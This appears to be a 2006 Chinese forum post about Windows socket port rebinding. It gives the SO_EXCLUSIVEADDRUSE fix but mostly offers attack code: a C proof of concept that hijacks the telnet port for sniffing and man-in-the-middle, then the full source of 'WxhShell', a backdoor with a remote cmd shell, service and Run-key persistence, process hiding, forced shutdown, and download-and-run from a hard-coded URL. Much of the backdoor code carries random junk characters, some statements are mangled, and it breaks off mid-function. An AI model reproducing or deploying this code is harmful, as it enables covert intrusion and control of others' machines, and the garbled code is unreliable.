[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; .u3!%{/v(c
if(chr[0]==0xd || chr[0]==0xa) { w`(EW>i
pwd=0; \Gh]$sp
break; E?o1&(2p
} aHosu=NK
i++; Iz/o|o]#
} fKzOt<wm
n&Q{ [E
// 如果是非法用户，关闭 socket }yup`R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?\dY!
} d`D<PT(\
G3HmLz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); };[~>Mzl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \$Xo5f<
(|_1ku3!
while(1) { g@!mV)c97
5CZii=@
ZeroMemory(cmd,KEY_BUFF); *{t{/^'y
*/iD68r|-
// 自动支持客户端 telnet标准 D2o,K&V
j=0; bce>DLF
while(j<KEY_BUFF) { Az29?|e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,E{z+:Es
cmd[j]=chr[0]; h:iK;
if(chr[0]==0xa || chr[0]==0xd) { @^8tk3$Y
cmd[j]=0; -lr)z=})
break; \2(Uqf#_
} rPoPs@CBD
j++; F-?K]t#
} Q}GsCmt=)O
YPQ&hEu0
// 下载文件 ^z#'o
if(strstr(cmd,"http://")) { 3+mC96wN
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t]|WRQvy8
if(DownloadFile(cmd,wsh)) ~^((tT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x8I=I"Sp
else <aJdm!6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',L>UIXw
} ^&oa\7<'
else { }gQ FWT
cd1M0z
switch(cmd[0]) { !Z978Aub3&
j4j %r(
// 帮助 g4,>cqRkq
case '?': { ydo"H9NOS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M{gtu'.
break; [03$*BCq3
} tZlz0BY!
// 安装 '@)47]~
case 'i': { 4.)hCb
if(Install()) mJT<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0j*-ZvE)30
else ?;!d5Xuu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @vWf-\
break; 0PIiG-o9
} 7'pCFeA>=T
// 卸载 __HPwOCG7
case 'r': { |_Vi8Ly
if(Uninstall()) iXN"M` nhm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ad^7t<a}<
else dIiQ^M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8&FnXhZg4
break; d&K2\n
} b|F_]i T
// 显示 wxhshell 所在路径 ~Xi_bTAyAW
case 'p': { b#%s!
char svExeFile[MAX_PATH]; q{/>hvl
strcpy(svExeFile,"\n\r"); [iE%P^
strcat(svExeFile,ExeFile); lWj{pyZ
send(wsh,svExeFile,strlen(svExeFile),0); 6.? Ke8iC
break; _^cDB1I?
} 2\h]*x%:
// 重启 ~_C[~-
case 'b': { i=$##
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \sB a
if(Boot(REBOOT)) $_s"16s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bqEQP3t^
else { Mx<V;GPm
closesocket(wsh); :wiQ^ea
ExitThread(0); 6 R}]RuFQ
} E!.>*`)?.
break; R$(FrbC
} QixEMX4<
// 关机 a4HUP*
case 'd': { DiMkcK_e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #({0HFSC:j
if(Boot(SHUTDOWN)) lUWX[,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w?^qAj(*d
else { ;Awt:jF
closesocket(wsh); $$7Mq*a>
ExitThread(0); _[ml<HW]
} TR:V7d
break; cVjs-Xf7D%
} ?Fgk$WqC
// 获取shell ~#/NpKHT@A
case 's': { 4/Ub%t-
CmdShell(wsh); L{H` t{A
closesocket(wsh); k}T#-Gb
ExitThread(0); ??&Q"6Oe
break; )xgOl*D
} !d Ns3d
// 退出 Q)eYJP=W
case 'x': { E^kB|; Ki
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KQ0Zy
CloseIt(wsh); o^P/ -&T
break; S<do.{|p[
} \.c
// 离开 jWHv9XtW
case 'q': { v x qsK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); gA0:qEL\
closesocket(wsh); ykFm$ 0m+I
WSACleanup(); chw6_ctR>
exit(1); ;a@%FWc
break; Ox.6]W~
} mS)|i+5
} gaFOm9y.e
} bCWSh~
X@l>mAk
// 提示信息 M<h2+0(il
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IM-O<T6r[N
} u.!}s2wT#
} `M0m`Up
sfb)iH|sW
return; WdQR^'b$
} S\$=b_.
XMt)\r.
// shell模块句柄 l/WQqT
int CmdShell(SOCKET sock) yU ?TdM\
{ jVA|Vi_2
STARTUPINFO si; [2h4%{R&
ZeroMemory(&si,sizeof(si)); Y!!w*G9b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &lnr?y^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o$PY0~#
PROCESS_INFORMATION ProcessInfo; gJ \CT'/
char cmdline[]="cmd"; e`]x?t<U4/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ),DLrGOl
return 0; ](%EQ[
} -@=As00Bg
BqoGHg4iq
// 自身启动模式 Fa]|Y
int StartFromService(void) H3Ws$vl9n
{ +!"GYPUXy
typedef struct %%uvia=e
{ 2~ [
DWORD ExitStatus; Q)mYy
DWORD PebBaseAddress; >#u9W'@|
DWORD AffinityMask; }\#u~k!l
DWORD BasePriority; qDlh6W?}k
ULONG UniqueProcessId; _bsAF^ ;
ULONG InheritedFromUniqueProcessId; 3UR'*5|'
} PROCESS_BASIC_INFORMATION; B>]4NF\)H9
uV=ZGr#o
PROCNTQSIP NtQueryInformationProcess; :OEovk(`
J 2H$ALl
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oy[>`qyz
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S{d]0
{TOz}=R"3h
HANDLE hProcess; Zb&5)&'X
PROCESS_BASIC_INFORMATION pbi; jjJvyZi~J
(&o|}"kRq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?1afW)`a.v
if(NULL == hInst ) return 0; L9Z\|L5
>~}}*yp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pt=@U:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /#Gm`BT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O\X=vh/D
'.gLqm}%
if (!NtQueryInformationProcess) return 0; TdKo"H*C
9O4\DRe5c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'hNRIM1
if(!hProcess) return 0; 3UgPVCT
]^>RBegJBO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #&sw%CD
J]ri|a
CloseHandle(hProcess); "2_nN]%u-
w678
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q=u [j|0mc
if(hProcess==NULL) return 0; oAt{#v
bMGU9~CeJ
HMODULE hMod; &=[N{N?(
char procName[255]; os[i
unsigned long cbNeeded; `st^i$A
@W.0YU0|J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WR zIK09@
0f;`Zj0l8
CloseHandle(hProcess); Hd ${I",
_]Y9Eoz
if(strstr(procName,"services")) return 1; // 以服务启动 {fxytiH8
L"It0C
return 0; // 注册表启动 0?w4
} ,e@707d`\
W61nJ7@
// 主模块 g{e@I;F
int StartWxhshell(LPSTR lpCmdLine) jmr1e).];
{ mQ=nU
SOCKET wsl; >jRH<|Az
BOOL val=TRUE; l0BYv&tu
int port=0; ?'mi6jFFh
struct sockaddr_in door; '/GZ/$a_l
Clmz}F
if(wscfg.ws_autoins) Install(); +nKf ^rG
28,g'k!
port=atoi(lpCmdLine); :^J'_
;@/vKA3l.
if(port<=0) port=wscfg.ws_port; IJ2>\bW_p
oLc
WSADATA data; Stk'|-z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l.%[s6
0#!Z1:Y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s}Q*zy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,K8(D<{
door.sin_family = AF_INET; $@eFSA5k,7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); BE,H`G #h
door.sin_port = htons(port); 5@`DS-7h
!3Ed0h]Bfa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4^{~MgQWK+
closesocket(wsl); *:,y`!F=y
return 1; x`Ik747^v
} ^ jT1q_0
f1RX`rXf
if(listen(wsl,2) == INVALID_SOCKET) { 6#(rWW"_
closesocket(wsl); qAirH1#
return 1; i1-wzI
} l>?k>NEpP
Wxhshell(wsl); X.)D"+xnH
WSACleanup(); ?gl[=NV
iNEE2BPp
return 0; UO8./%'
$#7~
} #]e](j>]
H<C+rAIb
// 以NT服务方式启动 %z5P%F'5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZfSAXr "(
{ 2R`/Oox
DWORD status = 0; +I_p\/J?w/
DWORD specificError = 0xfffffff; F'3-*>]P
[LrA_N
serviceStatus.dwServiceType = SERVICE_WIN32; 6dQ]=];
serviceStatus.dwCurrentState = SERVICE_START_PENDING; p<AzpkU,A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .h@HAnmE
serviceStatus.dwWin32ExitCode = 0; FX:'38-fk
serviceStatus.dwServiceSpecificExitCode = 0; v@;!fBUt
serviceStatus.dwCheckPoint = 0; +,A7XBn
serviceStatus.dwWaitHint = 0; $+Zj)V(
$ZfoJR]%
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N Uq'96{Y
if (hServiceStatusHandle==0) return; }q<%![%
,]8$QFf
status = GetLastError(); q3$;lLsb;j
if (status!=NO_ERROR) zx=AT
{ TP?HxO_C
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,`;Dre
serviceStatus.dwCheckPoint = 0; Hpq?I-g<^
serviceStatus.dwWaitHint = 0; }5a$Ka-
serviceStatus.dwWin32ExitCode = status; [SA$d`B/
serviceStatus.dwServiceSpecificExitCode = specificError; \ws^L,h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3FpSo+
return; E1V;eoK.D
} BuIly&qbm<
A3c&VT6Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; v#o<. Ig
serviceStatus.dwCheckPoint = 0; T!pjv8y@R
serviceStatus.dwWaitHint = 0; d vTsbs/6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u@eKh3!
} v|K<3@J
L!V6Rfy
// 处理NT服务事件，比如：启动、停止 u=9)A9
VOID WINAPI NTServiceHandler(DWORD fdwControl) sCwX|
{ L#X!.
switch(fdwControl) >djTJ>dl_u
{ >Vvjs
case SERVICE_CONTROL_STOP: hY-;Vh0J
serviceStatus.dwWin32ExitCode = 0; a0=5G>G9c
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bh*7uNM
serviceStatus.dwCheckPoint = 0; N0 F|r8xS
serviceStatus.dwWaitHint = 0; +ZxG<1&
{ k6PHyt`3'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E^<.;
} Z$&i"1{
return; 8!q$8]M
case SERVICE_CONTROL_PAUSE: \"^.>+
serviceStatus.dwCurrentState = SERVICE_PAUSED; KW5u.phv
break; 5\|u] ~b
case SERVICE_CONTROL_CONTINUE: PK7 kpC
serviceStatus.dwCurrentState = SERVICE_RUNNING; &@anv.D
break; "Ooc;xD3<
case SERVICE_CONTROL_INTERROGATE: Jf|6 FQo&
break; 3~&h9#7Ke
}; !YCus;B~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[_mmf1;:'
} 95%, 8t
bPHqZ*f
// 标准应用程序主函数 U`h>[9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :?.RZKXQF
{ Y']D_\y
\L@DDK|"`6
// 获取操作系统版本 [O52Bn
OsIsNt=GetOsVer(); K@UQ O
GetModuleFileName(NULL,ExeFile,MAX_PATH); E6FT*}Q
Q lg~S1D_v
// 从命令行安装 Xzp!X({
if(strpbrk(lpCmdLine,"iI")) Install(); _jr'A-M
"o ^cv
// 下载执行文件 JM?X]l
if(wscfg.ws_downexe) { V<+=t{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mm,be.
